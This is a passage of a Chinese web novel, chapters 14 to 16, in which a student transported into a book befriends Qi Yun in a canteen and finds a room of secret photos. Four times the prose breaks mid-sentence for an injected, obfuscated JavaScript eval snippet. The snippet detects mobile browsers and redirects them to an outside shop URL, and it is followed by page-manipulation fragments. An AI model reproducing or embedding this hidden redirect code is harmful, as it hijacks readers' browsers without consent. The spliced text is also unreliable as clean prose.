好在没白喊,祁运听见他的喊声后立马就三步并成两步地跑到他面前,然后伸手扶住他,一脸焦急地问他怎么了。 孟弃便一脸尴尬着再次把他变成这副狼狈样子的原因向祁运复述了一遍,听得祁运也忍不住皱起了眉头。 如果只是饿的就好说了,那就吃东西呗,直至吃到低血糖的症状消失为止,祁运这么想着,然后就在孟弃面前半蹲下来,让孟弃趴到他的背上去,他好背着孟弃去食堂。 而祁运蹲下去的那一刻孟弃真的很感动,仿佛看见了他的好朋友王博远来到了他的身边,同时也让他更加坚信祁运就是他的幸运星!有着这样的想法的他一点儿犹豫都没做地就趴祁运背上去了。 直至迷迷糊糊地被祁运 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467787|201320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背出去十多米远,他才想起来刚刚在他身边的还有江柏溪呢,差一点儿就把人家给忘了,真的很不应该,毕竟人家还在关键时刻扶了他一把。 一边想着孟弃便一边趴在祁运的背上向后看,去找江柏溪,至少得给人家说声再见吧。 江柏溪还在原地站着,正朝他这边看着,一动不动地像雕塑,不知道是生气了,还是正在失望中。 孟弃心虚地捏了捏耳垂,心想人家大老远来找他一趟,他走的时候都没跟人家打声招呼,真是挺气人的,不怪人家江柏溪用那种眼神看他。 为了弥补自己的过失,孟弃用尽全身力气朝江柏溪挥手,挂上尴尬不失礼貌的微笑朝人家喊,“谢谢,拜拜,回见。” 哦,不对,不该说回见,应该说再也不见,毕竟他都说过了以后会尽力不再出现在江柏溪和任随一面前。 但是此时的孟弃已经没什么力气再喊一遍了,心想就这么着吧,权当礼貌用语好了,反正承诺不在嘴上,而是在行动上。 和江柏溪告完别之后的孟弃想在祁运背上找个舒服的姿势趴好,但大概是因为祁运比王博远高着五公分的原因,孟弃想把祁运当做王博远都不行,哪哪都不太对,他试着调换了好几个姿势都不行,没有趴在王博远背上时舒服,折腾到最后无果的孟弃无奈叹气,“你要是矮上几厘米就好了。” 祁运往身后侧了侧脸,不明白孟弃为什么这么说。 孟弃解释道,“没什么,我瞎说的,你这样就很好,视野也好。” 唉,就是感觉不太好。 他可太想念王博远和贺聪了,当然,最想念的还是他的爷爷奶奶。 想着想着,孟弃就没控制住地吸了一下鼻子,吓得祁运后背一僵,忙问他是不是晕得更厉害,要不要先去医院。 孟弃偷偷地用自己的袖子擦了擦眼角,然后尽量让自己的语气听上去轻松自然,“没事没事,去食堂吧,去食堂就行。”随后又找补了一句,“刚刚有花粉飘进鼻子里去了,突然就想打个喷嚏。” 祁运托着孟弃往上颠了一下,应该是想让孟弃更舒服些,听孟弃说完后,他还笑着回应了一下。 真是人怕出名猪怕壮啊,被祁运背着去食堂的路上再次收获了更多的指指点点。 但此时孟弃的精神欠佳,看东西的时候都快出现重影了,根本没有精力管别人蛐蛐他什么,等到了食堂,他一口气吞下去一大碗米饭之后才重新活了过来,烦躁消失,心情变好,再看周围那些对着他和祁运指指点点的人时更是没有搭理的想法,心说爱谁谁吧,嘴长在他们的身上呢,他又控制不了。 其实现实生活中的他因为那双眼睛的缘故,也经常被别人指指点点,虽然没有眼前这么大的阵仗,但孟弃觉得也差不多吧,被人议论时的感觉都是一样的,以前为了让自己好过些他都当看不见听不见,现在也一样的处理方式好了,他还挺擅长这么做的。 但祁运好像不太能适应这些,孟弃在吃饭的间隙看了祁运几次,每次都看得出来他的脸色不好看,且越来越难看,特别是当他的视线从别处转回来的那一瞬间,脸色冷得都能结冰了。 孟弃有心以过来人的身份劝慰祁运两句,于是便对祁运说,“你就当他们都是NPC,背后议论人是系统交给他们的日常任务,他们拒绝不了的,不要理他们,自己开心最重要。” 14. 第 14 章 也不知道这句话有没有真正安慰到祁运,但是听完这句后祁运的脸色确实比之前好看了一些,也不再左顾右盼,开始专心吃起饭来。 孟弃忍不住在心里小小得意了一下,因自己的话对祁运起到了正向作用而欣喜着。 以前都是贺聪和王博远帮他,现在借着祁运,孟弃觉得他仿佛帮了王博远一次,并成功把“王博远”从坏情绪中拉了出来。这种能帮朋友分忧的感觉真好啊,孟弃的嘴角开始上扬,发自内心的笑意把他的眉目沁润得柔和成一片,水汪汪软糯糯亮闪闪的,可好看呢。 原本正低头吃饭的祁运突然抬头看了孟弃一眼,先是愣了一下,然后就问了孟弃一个比较棘手的问题。 祁运很认真地问孟弃,“你开心吗?” 在没回到现实世界之前,或者是在没确定能不能更改掉他必死的设定之前,开心是不可能真正开心的,或许他会因为暂时忘掉现状偶尔开心那么一下,比如现在,他就因为面前陪着他吃饭的祁运像极了他的好朋友王博远,并且他还用一句话安慰到了对方而开心,但是只要一想到他正生活在一本书里,还是看不到他的未来在哪里的那本书,他立马就开心不起来了。 孟弃不知道应该用什么样的语言向祁运解释他这茫无端绪的心情,犹豫了片刻之后才轻轻地点了点头,模棱两可着说,“我觉得算开心的吧。” 吃得饱,穿得暖,有钱花,还有和现实世界中的好朋友特别像的朋友在身边,暂时又不用死,至少还能再享受九个月……这样算起来的话也不能说一点儿都不开心。 如果正在经历的这些事情不是真实存在的而是一场梦的话,那这个梦完全可以算作是那种分分钟能把人笑醒的美梦,和哐当被一张五百万的彩票砸中的感觉应该是没有什么区别的。 但坏就坏在种种迹象已经表明了这不是梦境而是现实。 想到这里时孟弃又忍不住叹了一口气,然后便努了努嘴,皱着眉说,“我这鸡肋一样的人生,一半开心一半愁吧。” “您的人生可不是鸡肋,而是钻石,是多少人可望而不可即的,”祁运目光灼灼地看向孟弃,并努力反驳他,激动之下就连称呼都忘了改,“您不要这样说自己,反而我的人生才是鸡肋,想放弃又舍不得,不放弃又坚持不下去……” 放弃? 祁运竟然想过放弃生命吗? 孟弃不是很理解,也大为震惊。 他把现在的人生比做鸡肋,只是想表达如果回不到现实也能在这里凑合着活下去的意思,就算真的回不到现实他也没想过放弃生命,不然他干嘛还要费尽心思去更改这本书的原设定呢,躺平到第九个月原地噶不就行了。 现实里的孟弃从出生起就因为眼睛的原因被亲人给抛弃了,后来又被靠拾荒维持生计的爷爷奶奶捡到并抚养长大,潦草的人生算得上是天崩开局,之后又叠满了贫弱buff。 小时候的他就像荒野里的野草,任谁都可以踩一脚再吐一口唾沫,但即便如此他也从来没想过放弃,反而因此在体内注入了“春风吹又生”的韧劲,等那些欺负他的人走开后他就会抖擞起精神继续在春风里起舞。 就这样一路挣扎着长大,他不仅如愿考上了大学,还交了两个可以过命的朋友,这样的结果不正好说明了只要自己不放弃,人生总是可以绝处逢生的么。 反观祁运,他长得这么好看,身上也没有一丁点儿被诟病的缺陷,而且还凭借自身的努力考入了别人梦寐以求的985院校! 如果说孟弃的人生叠满了贫弱buff,那么祁运的人生可以说是叠满了胜势buff的,比孟弃不知道幸运了多少倍,就这还想要放弃,孟弃是真的真的不理解。 所以他一脸困惑地反问祁运,“你为什么不开心?” 祁运被孟弃问得愣了一下,然后就趴在饭桌上笑了起来,笑了好一会儿,直笑到双肩都跟着抖动起来,之后才坐直身体,先用手背把笑出来的眼泪擦掉,再用筷子指向不远处刚刚走进餐厅的那几人,不答反问孟弃道,“你知道他们在说什么吗?” 孟弃顺着祁运手指的方向看过去,不是很确定地说,“大概是在商量等会儿吃点什么吧?” “当然不是,再猜,”祁运说着便把筷子放下,换成单手托腮的姿势看着孟弃,焦眉愁眼道,“你不能总把人往好处想。我提示一下吧,他们刚进餐厅时还有说有笑的,但是看到是我和你坐在一起后就都不笑了。” “疑惑我堂堂孟家大少竟然会亲自来食堂吃饭?”虽然孟弃已经猜到答案或许和祁运有关,还是不太好的那种,大概率就是况辉告诉给他的那些传言,但在祁运主动告诉他之前,他不想从自己的嘴里说出来这些伤人的话,所以斟酌之后他给出了一个相对稳妥的答案。 如果祁运想说,他会听,如果祁运不想说,这个话题就可以自此揭过去,谁也不会因此尴尬的。 淋过雨的人总想给别人打伞,孟弃也是啊。 听孟弃说完后,祁运先是弯起嘴角对着孟弃笑了笑,但笑意并未抵达眼底,看上去比哭并没有好看多少。 看得孟弃一阵心堵,忽然就想起来最初贺聪想要靠近他的时候,他满身防备地看着贺聪时就是这样的表情,因为后来贺聪形容过他当时的神情,说他是努力在笑的,但笑得却比哭还难看。 或许是他想错了,祁运并不像他想象的那样拥有着叠胜势buff的人生? 正分神想着,对面的祁运就动了,先是转动着眼睛斜斜看向虚空中一点,似是在做一个艰难的决定,半晌过后他才用他那双在孟弃看来清澈无辜的眼睛盯住孟弃,缓慢开口道,“如果是你自己来食堂,他们并不会有这么大的反应。” “刚开始的时候他们或许会震惊,因为你确实没有来学校食堂吃过饭,但最初的震惊过后他们一定会笑着跟你打招呼,远远地喊上一句‘孟少好’、‘孟少来啦’、‘孟少今天吃什么’,”看到孟弃的眼神逐渐变得困惑,祁运顿了一下继续说,“你别不信,真实的情况就是会这样,不信的话下次你自己来试试。你忘了我说过的啊,你是咱们学校里的大红人,几乎没有人不认识你。” 或许单手托腮久了手腕太累,祁运从单手托腮的姿势换成双手托着下巴的姿势继续往下说,“这样吧,我接着上次没说完的继续说吧。” 孟弃想了想,觉得也行,无论是主观多一些还是客观多一些,所发生的事实总是和他脱不开关系的,听听也无妨,因此他便点了点头,同意了祁运的提议。 接下来在祁运的讲解中,书中“孟弃”的形象在孟弃眼前逐渐立体鲜活起来。 祁运说,“你在咱们学校里之所以这么有名,除了有你父亲资助咱们学校搞科研的原因之外,还有一个很大的原因的,上次刚想说,你就打断我不让我继续说了,那就是你还是咱们学校校学生会的外联部部长,且是非常称职的外联部部长,每个学期都会动用你自己的人脉关系给咱们学校拉来一大笔的赞助费。” 天啊,书中“孟弃”还当着外联部部长,每个学期还要给学校拉赞助费?!孟弃被震惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467788|201320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到不行,眼睛定定地看着祁运,心想还有更牛逼的吗?求求不要了吧,我真的应付不来…… “你就是这么厉害的,是不是已经被自己震惊到了?”看到孟弃的反应之后祁运还有心情开玩笑,笑了两声后不顾孟弃的反应,继续往下说,“后来你还向学校提议用这部分钱创办校内贫困生助学金奖项,专门去帮助那些生活困难但品学兼优的学生。” 哇哦!如果回到现实后我的学校里也有像书中“孟弃”一样厉害的人存在该有多好,被刺激到的孟弃忍不住开始浮想联翩,如果真有那样一个人的话,我一定会努力拿到这笔奖学金! “幸运的是,我因为各方面条件都符合有幸领过两次,每次都能领到一等奖学金,三千五百元。” 三千五可不少了,一个学期的生活费不就出来了! “但是这笔钱对于我所面临的困境来说还是太少了,少到几乎可以用杯水车薪来形容,所以我只能利用课余时间去找兼职,您应该也猜到了,我找的兼职就是在钱德安那里当侍应生。” 祁运果然面临着很大的困难,孟弃不知道该如何安慰祁运,只好先用眼神鼓励他。 祁运回给孟弃一个微笑,“就在一切都在往好的方向发展的时候,但是第三次发放奖学金时名单里却没有我的名字,我当时辗转打听到是您向学校建议把我的名字给取消掉的,当时我很不理解,也很不服气,明明我各方面条件都符合,为什么不发给我呢?所以我就在您上课的教室里找到您,想问您要一个说法。” “那次是我在您失忆前第一次,也是唯一一次和您说话,我问您原因,您告诉我说有人向您举报我私生活有问题,不配拿到这笔钱,您还说您的钱赚得干干净净,是要发给清清白白的学生的。” “我想向您解释,但您不给我机会,回答完我的问题之后就从教室里走开了。” 竟然还有这样一段故事?真不知道这本小说的作者有多会省略,这么重要的剧情线都不往作品里写,差评! 孟弃愤愤不平地想着,再看祁运时,除了心疼之外还有来自书中“孟弃”对他的抱歉。 怪不得况辉他们对祁运的成见这么大呢,让书中“孟弃”这么一搞,白的也成黑的了。 “您不用觉得抱歉,虽然我也很难过,但我并不怪您,不过从那之后只要我和您出现在同一个画面里就会有人在背后议论,为了不打扰您,我已经有相当长一段时间是躲着您走的了。” 孟弃听出来了,虽然祁运嘴上说着不怪他,但语气里的委屈却是真实存在的。 “以后不用躲着我,从现在开始我真心把你当朋友,才不会在意别人怎么看我。”孟弃及时向祁运表明自己的态度。 祁运笑着摇头,也不知道听没听进去,“但是当钱德安说您想找个人帮您恢复一下记忆时,我还是没忍住主动向钱德安推荐了自己,我是很想帮您的,毕竟您那七千块钱曾解过我的燃眉之急,都说滴水之恩当涌泉相报,我总得回报您。” 虽然他对书中“孟弃”还没有那么了解,但他想当初书中“孟弃”决定创办助学金项目时应该没想着让别人回报他,所以孟弃便想替书中“孟弃”说句话,却被祁运打断了,“如果不是因为我的自作主张,您也不会再次成为别人议论的对象,我无意拉您入泥潭。现在我把我所知道的事情全都说给您了,以后您再见到我时就当不认识我吧。” 然后不等孟弃反应,祁运站起来就往外走。 这人,也太果断了吧,总要给他一个说话的机会啊…… 15. 第 15 章 “祁运祁运,等一下,”孟弃闪电般伸出手去拉住祁运的胳膊,接着快速转到祁运前面去拦住祁运的去路,然后特别认真地对祁运说,“我说了我不在意别人怎么议论我,你没必要走。” 对于孟弃来说他不仅不在意别人怎么议论他,还有就是祁运可不光是祁运,还是王博远呢,是他对现实世界的牵挂,他不可能放祁运走的。 被孟弃拦下的祁运眼眶泛红,眼里含泪,一边挣扎着把自己的胳膊从孟弃手里拽出来一边朝孟弃喊,“但凡你听过一次他们议论的内容就不会这么说了!你清醒一点吧!” 他大概也是不舍得真走,等把胳膊从孟弃手里拽出去之后却没再像一开始时那样不管不顾地往外跑,而是停在了原地。 孟弃很想说他已经在况辉嘴里听过不止一次了,现在也是清醒的,但这话说出来之后绝对会伤害到祁运,所以他不能说。 低垂下视线静静地想了想,等再次抬眼看向祁运时,孟弃的表情已经由焦急变成了一惯的散漫,那样子仿佛是在说书中“孟弃”回来了,并且“他”同意放祁运走。 祁运被孟弃的变化定在原地,脸上的血色一点一点在消退。 很快孟弃又往人流量集中的方向偏了偏头,状似不经意地问祁运,“真的吗?” 祁运的脸色在听到孟弃这么问他后彻底变成煞白一片,嘴角也向下弯得厉害,却又倔强地一次又一次用力把嘴角拉平,嘴巴也紧紧抿成一条线。 孟弃却像是看不到祁运的反应似的,转身便朝着不远处的人群招手,接着他的声音就传了出去,刹那间响彻整间食堂,“嘿,同学,你们刚刚是在说我和祁运的坏话吗?我很好奇你们都说了些什么,能说给我听听吗?” 包括祁运在内,食堂里的所有人都没料到孟弃会这么做,一时间他们都被孟弃的直白震惊住了,不远处被孟弃点到名字的那几位同学更是慌得连连摇头否认,并一再承诺他们没有说孟大少爷的坏话。 祁运则是脸色复杂地望着孟弃的背影出神。 孟弃似乎相信了同学们的解释,还笑着朝他们点头,“既然如此,我就当是我自作多情了,但请你们以后也不要在背地里说我和我朋友的坏话哦,小心我会告你们诽谤的。” “当然不会”、“怎么可能”、“请孟少放心”…… 一连串的应答声此起彼伏地响彻在食堂,孟弃一边感慨于有钱人说话就是好使,怪不得总有人说有钱能使鬼推磨呢,一边朝祁运抬了抬下巴,表情里写满得意,“你看,他们说没有在背后议论我们,而且还承诺了以后也不会议论,这下你可以放心了吧?还走吗?” 祁运不知道是被孟弃的无厘头操作给无语到了,还是被感动到了,先是站在原地哭笑不得地和食堂里那群同他一样反应的同学们尴尬对视,待孟弃又问了一遍“还走吗”之后,突然就上前一步抱住孟弃,双手紧紧地勒住孟弃的脖子,整张脸深深地埋在孟弃的脖颈间,半晌后才退开,退开之后就开始朝着孟弃笑,并且越笑越大声,最后甚至都笑出了八颗牙齿,“你赢了,我不走了。” 祁运笑起来的样子和王博远更像了,孟弃好开心,更加确信了自己做的是对的,然后他就拉着祁运重新坐回到餐桌前,并把筷子重新塞回到祁运的手里,指着那一桌子还没怎么动过的菜和米饭说,“那咱们继续吃饭吧,再不吃就凉了。” “嗯!”祁运一边大声应着一边塞了一大口米饭进嘴里。 明天的烦恼明天再去想。 孟弃暂时把能不能回去、还会不会死、怎么当一名合格的外联部部长、去哪里拉赞助费等等无解的问题统统放到一边去,也塞了一大口米饭进嘴里,专心致志地吃起饭来。 一顿饭吃得又饱又满足。 这是孟弃来到这本书里之后吃的第一顿饱饭,打破了他对大学食堂的偏见。 以前总听他的同学说大学食堂里的饭菜并不比高中食堂里的饭菜好吃多少,都是清汤寡水的,让他不要对大学食堂抱有幻想,并建议他去学校的时候多带一些生活费,那样的话就可以经常去校外给自己开开小灶加加餐了。 说实话,孟弃觉得他刚刚吃的那些菜都很好吃,比他们村子里的大厨烧出来的红白宴好吃多了,孟弃特别喜欢,甚至想说这次没吃够,以后他会经常来吃的,因此他不懂为什么书中“孟弃”从来不来这里吃饭。 祁运告诉他答案,“你爸爸在学校附近给你买了一套房子,还雇了一位阿姨每天做饭给你吃。” 好像是有这么回事儿。 经过祁运这么一提点,孟弃忽然想起来那本小说里好像写到过这部分剧情,他来不及细想,连忙追问祁运知不知道那套房子的具体地址,他想过去看看。 这次祁运却摇了摇头,“不知道,我没去过,不过况辉他们应该是知道的,据说你经常带着他们去你那套房子里打游戏。” 哦,况辉吗?那还好。 经过半天的接触,孟弃觉得况辉就是那种大大咧咧没什么别扭心思的大男孩,问他要一下那套房子的地址应该是没什么问题的。 因为对那套房子有着别样的期待,孟弃迫不及待地当着祁运的面儿就拿出手机找到况辉,然后模仿着书中“孟弃”和况辉的聊天语气给况辉发了一条微信消息,就说自己想去学校附近的那套房子里取点东西去,但记不清具体地址了,让况辉帮忙发过来。 况辉不疑有他,过了不到两分钟就把地址发过来了,同时他还贴心地把那套房子的密码锁密码也发了过来,一并发过来的还有住家阿姨的姓名。 孟弃对况辉的贴心表达了感谢,谁知下一秒况辉就说:不是我想到的,是董佳铭提醒我发给你的【仰天大笑】 说起这个董佳铭,孟弃总觉得那人应该是那种城府很深且非常善于伪装的人,他自认自己不够聪明一定玩不过人家,所以以后也要尽量离这个董佳铭远一些。 很好,拉黑名单又多了一员,孟弃觉得很安心。 吃饭完后孟弃问祁运要不要和他一起走,祁运摇头,“不了,我要回宿舍补觉,晚上还要去打工。” 既然如此,孟弃便没再坚持,而是选择一个人去。 那套房子距离学校不远,走着过去只用了十五分钟,孟弃到的时候住家阿姨正在卫生间里手洗床单被罩,看到孟弃回来并没有多惊讶,而是笑着问孟弃今天想吃什么。 是一位慈祥开朗的老太太呢,五六十岁的年纪,看上去比孟弃的奶奶要年轻很多。但可能是她笑起来的感觉和孟弃的奶奶笑起来时的感觉有那么一点点像,因此看见她的那一刻孟弃有那么一瞬间的恍惚,因为怕露馅而升起的想辞退这位住家阿姨的心思随即就淡了。 毕竟容易露馅的地方多了去了,多这一处也不算多。 孟弃一边站在玄关处换鞋一边回复住家阿姨,“我过来之前已经在学校食堂吃过了,今天不用给我做饭。” “食堂的饭菜好吃吗?”住家阿姨忽然小心翼翼地问孟弃。 孟弃想了想,选择如实回答,“我觉得还不错,以后我可能会经常去学校食堂吃。” “那…那……”住家阿姨一听孟弃这么说,随即就紧张到把一双手不停地在围裙上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467789|201320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擦来擦去的,估计是担心孟弃会因此辞退她,之后看到孟弃往客厅的方向走,她还以更快的速度跑过去给孟弃倒了一杯温水,然后就站在一旁忐忑不安地盯着孟弃看。 孟弃心想幸亏他现在有钱,辞不辞退这位阿姨对他的影响并不大,因此在接过那杯温水后他便安抚阿姨说,“您继续留在这里工作就行,食堂的饭菜再好吃也会有吃腻的时候啊,当我偶尔回来时您不在,我不得饿肚子嘛。” 得到孟弃许诺之后的住家阿姨立马就把笑容重新挂在了脸上,嘴里也“唉唉唉是是是”的应了几声,然后和孟弃打过招呼之后就跑去卫生间继续搓洗床单去了。 事实上是即使没有住家阿姨,孟弃也不会饿肚子的,因为他的厨艺好着呢,好到经常被他的爷爷奶奶夸奖。 端着水杯巡视了一圈儿这套房子,四室两厅的格局在孟弃看来相当宽敞,比他和他爷爷奶奶住的院子都大了得有一倍多呢。 孟弃和他的爷爷奶奶住的是老式砖瓦房,不大的宅基地上一共就盖了两间屋子,各五六个平方左右,其余的地方全都用来存放废品。 没捡到孟弃前其中一间屋子是孟家二老的卧室,另外一间则被孟家二老当成了是储藏室,专门用来存放那些怕晒怕雨淋的废品,等捡到孟弃之后,孟家二老就把那间储藏室收拾出来给孟弃住,不仅重新粉刷了墙壁,还专门找工匠吊了一个大白顶棚,打了一张用料特别足的榆木床,储藏室摇身一变就可板正了,孟弃打小就喜欢,他的童年和青春期都是在那间屋子里度过的,一砖一瓦里都藏着他的小心事。 而书中“孟弃”的这个家,孟弃想起来那本书中是怎么写的了。 据说是书中“孟弃”的后妈怕他吃不习惯食堂里的饭菜,睡不习惯宿舍里的简易木板床,主动建议他爸爸出钱给他买的,之后不仅找了顶配的装修团队里里外外给装修了一遍,还置办齐了所有的家用电器,更是把其中一间房间布置成了豪华游戏厅,光那台液晶显示器就有半面墙那么大。 孟弃记起来这段剧情是通过书中“孟弃”的口向任随一炫耀他的后妈对他有多好时说的,任随一当时的评价好像是“阿姨对你真好”,孟弃还骄傲地回了一句“那是当然,我妈是这个世界上最懂我的妈妈。” 随后作者用一句话概述了李锦桐这么做的原因,就是想把孟弃远远地支出去,好借此削弱孟弃在孟家的存在感,然后趁机让她的儿子孟凯泽在孟家大秀存在感,从而达到让她的儿子孟凯泽逐渐取代孟弃的目的。 摸着那台冰冷的液晶显示屏,孟弃想的是站在他自己的立场上来说是要感谢李锦桐当初把书中“孟弃”支出去的做法,不然现如今的他还真不知道该如何面对那一大家子的孟家人。 只是还是会心疼书中“孟弃”啊,被他视为最爱的妈妈一直在背地里处心积虑地针对他,而他却毫不知情,直至身死……也不知道这样的结局对书中“孟弃”来说算是幸运的还是算悲哀的。 卧室没什么特别的,就是小男生们都喜欢的那种简洁风,清一色的黑白灰,不过孟弃也喜欢这种装扮,特别是中间那张柔软中还散发着太阳暴晒过后的味道的床万分吸引他,他真的想立马躺上去睡一觉,但就在这个时候,卧室斜对过的一间用电子密码锁锁着的房间吸引了他的注意,他忍不住靠近去看,先看见了房门上贴着的“闲人免进”的牌子。 大概里面藏着的是独属于书中“孟弃”的秘密吧,鬼使神差地,孟弃伸出手去试着输入了书中“孟弃”的手机密码,只听叮一声,门开了。 门后边可真是个让人目乱精迷的世界。 16. 第 16 章 房间里装着感应灯,推开而入的瞬间灯光便随之亮了起来,下一秒,房间内的一切就尽数映入了孟弃的眼底。 他猜想的没错,这间房子里装满了书中“孟弃”的秘密。 正对着房门摆放的是一个足有一人高的人形立牌,把孟弃吓了好大一跳,恍惚间他还以为真的有个大活人躲在这里呢。 而不出意外的,这个把孟弃吓了一大跳的“大活人”正是任随一。 孟弃对任随一的这张脸可算是记忆深刻,毕竟他刚来到这本书里时见到的第一个人就是怒气腾腾的任随一,那蹙起的剑眉,那喷火的眸子,那紧抿的唇线,那咬紧的牙关……说句毫不夸张的话,就算任随一化成灰他都能认出来。 而面前这个人形立牌又是生着气时的任随一,孟弃想说不认得都难。 认得不认得先另说,就是说这书中“孟弃”到底是有什么恶趣味啊,人形立牌都做了,干嘛不做一个对着自己点头哈腰毕恭毕敬的任随一呢,最差也要做一个笑容满脸亲亲切切的吧,搞个生着气的立在这里,不是给自己添堵么。 孟弃不是书中“孟弃”,自然想不明白书中“孟弃”的真实想法,不过他也不想费脑子去想这些,和他有什么关系,因此他直接绕过立牌去看整间屋子的布局,本来想找一些有助于提升他的伪装术的东西来着,然后现实再一次把他给震惊到了。 任随一的照片贴了满墙,每张照片的下面还用黑色签字笔认真地备注了那张照片是在哪种情况下拍摄的:有在篮球场上挥汗如雨的任随一,有在大雨中疾步而行的任随一,有站在讲台上侃侃而谈的任随一,有趴在课桌上偷偷睡觉的任随一,有吃饭时被呛到咳嗽的任随一,有端正地坐在沙发上看报纸的任随一,有陪着老人悠闲地下着象棋的任随一,有抱着奖杯笑得恣意的任随一; 有童年时期的任随一,亦有青春年少时的任随一; 有展颜欢笑的任随一,亦有黯然神伤的任随一; 有矜持不苟的任随一,亦有踢天弄井的任随一…… 那么多张照片中只有一小部分是任随一嗔怒着看向镜头的,神情里每每透露出不愿意被书中“孟弃”拍照的勉强,大部分则都是书中“孟弃”从各个角度抓拍来的,其中又以背影照居多。 都说“暗恋是一个人的兵荒马乱”,孟弃却从这些照片中看出了书中“孟弃”的手忙脚乱:他在拍照的时候一定是既要躲着任随一,以防被任随一发现,又要想尽办法抓拍到他眼中最帅最完美的任随一。 想着想着,孟弃便笑出了声,心想这哪里是桀骜不驯的臭小子啊,分明就是一个古灵精怪的捣蛋鬼。 他死的那天任随一有没有难过呢? 如果现在就让任随一知道那个偷偷把他放在心尖尖上的人已经消失了,任随一会不会难过呢? 想着想着,孟弃又哭了,他开始后悔没有好好地把那本小说看完,开始心疼这个明明心中有爱却过早地被贴上恶毒反派标签的少年。 但他只emo了一小会儿,悲伤的情绪还没释放完呢,就在看到几幅人像素描时再次抓狂起来。 房间的角落里摆着几幅已经完成了的人像素描,一眼就能看出画的是任随一,然后视线右移,立起来的画架上放着一幅只画完了眼睛,其他部位还是辅助线状态的半成品。 我的妈呀!还让不让人活啦!孟弃无声哀嚎。 这一看就是书中“孟弃”的手笔啊! 也就是说书中“孟弃”除了会作词作曲唱歌好听之外,他还会画画!且画得一手好画!没有几年的功底都不一定能画出来的那种…… 对比之下,一心只知道死读书从来没想过发展业余爱好的孟弃可就不够看了,最主要的是这些书中“孟弃”精通而他一点儿都不会的技能绝对都是隐形炸弹,不一定什么时候就能把他炸个人仰马翻。 就是说,现在开始学习这些技能还来得及吗?弱小可怜无助的孟弃瑟瑟发抖中。 “嗨,一一,看这里!” 惊慌着后退了一步的孟弃不知道手碰到了哪里,桌面上的投影仪突然自动打开了,然后投射到墙上的光影中便慢慢浮现出一个人的轮廓来,接着那人的表情逐渐变得清晰,随后一脸不悦的任随一开口说话了,“不要录了,很丑。” “哪里丑了,明明就很好看,”下一秒书中“孟弃”拿着录像机的手开始抖起来,应该是在偷笑,不过只笑了两下就在任随一的怒视中败下阵来,立马投降道,“好啦好啦,我再录五分钟就不录了,总要录到你上台表演完节目吧。” “不要,立刻停下!”看书中“孟弃”还在录,脸上涂着两坨高原红,嘴唇被涂成大红色的任随一伸手来挡镜头,一边挡一边朝书中“孟弃”抱怨着,“这个化妆师的水平太差劲啦,明天就让他失业!” 虽然只是十来岁的小孩子,但其霸总一面却已经显露出来了,孟弃觉得又可爱又好笑,不自觉地便随着摇晃的镜头继续往下看。 “好好好,明天…不对,今天下午回家后我就去和我爸爸说,让这个人今天下午就失业。”书中“孟弃”说完这句话后便哈哈哈大笑起来,随后黑掉的画面中又传出来另一道笑声,两道稚嫩的笑声混杂一起,轻轻松松便勾勒出书中“孟弃”和任随一无忧无虑的童年。 接着画面一转,墙上的光影中就出现了穿着学士服频频向远处张望的任随一,同时镜头外还响起了一道有些陌生又有点儿亲切的话外音,那声音里透着万分委屈,“一一哥,你为什么不肯拿着我送给你的花拍照啊,就非得等江柏溪的那束破花嘛!” “我说了我不喜欢玫瑰,你为什么非要带玫瑰过来。”任随一不耐烦地瞟了一眼镜头,紧接着又把头转向了另外那个方向。 “这可不是普通的玫瑰!是大马士革玫瑰好吧,连夜空运过来的!” “就算是坐飞船过来的也摆脱不掉它就是玫瑰的事实。” “一一哥!” 就在那道话外音逐渐高亢似要继续据理力争的时候,画面里任随一脸上的表情变了,不耐烦已经被欣喜取代,并且随着远处那抹明快的身影离着镜头越来越近,任随一笑得也越来越灿烂,之后他就丢下书中“孟弃”,跑向了不远处捧着鲜花疾驰而来的江柏溪。 书中“孟弃”应该是非常气愤的,因为他一转身就把一直抱在怀里的那束据说是连夜空运过来的大马士革玫瑰扔进了旁边的垃圾桶里。 接着画面变暗,声音也随之消失。 或许一起消失的还有青葱少年那来不及宣之于口的爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 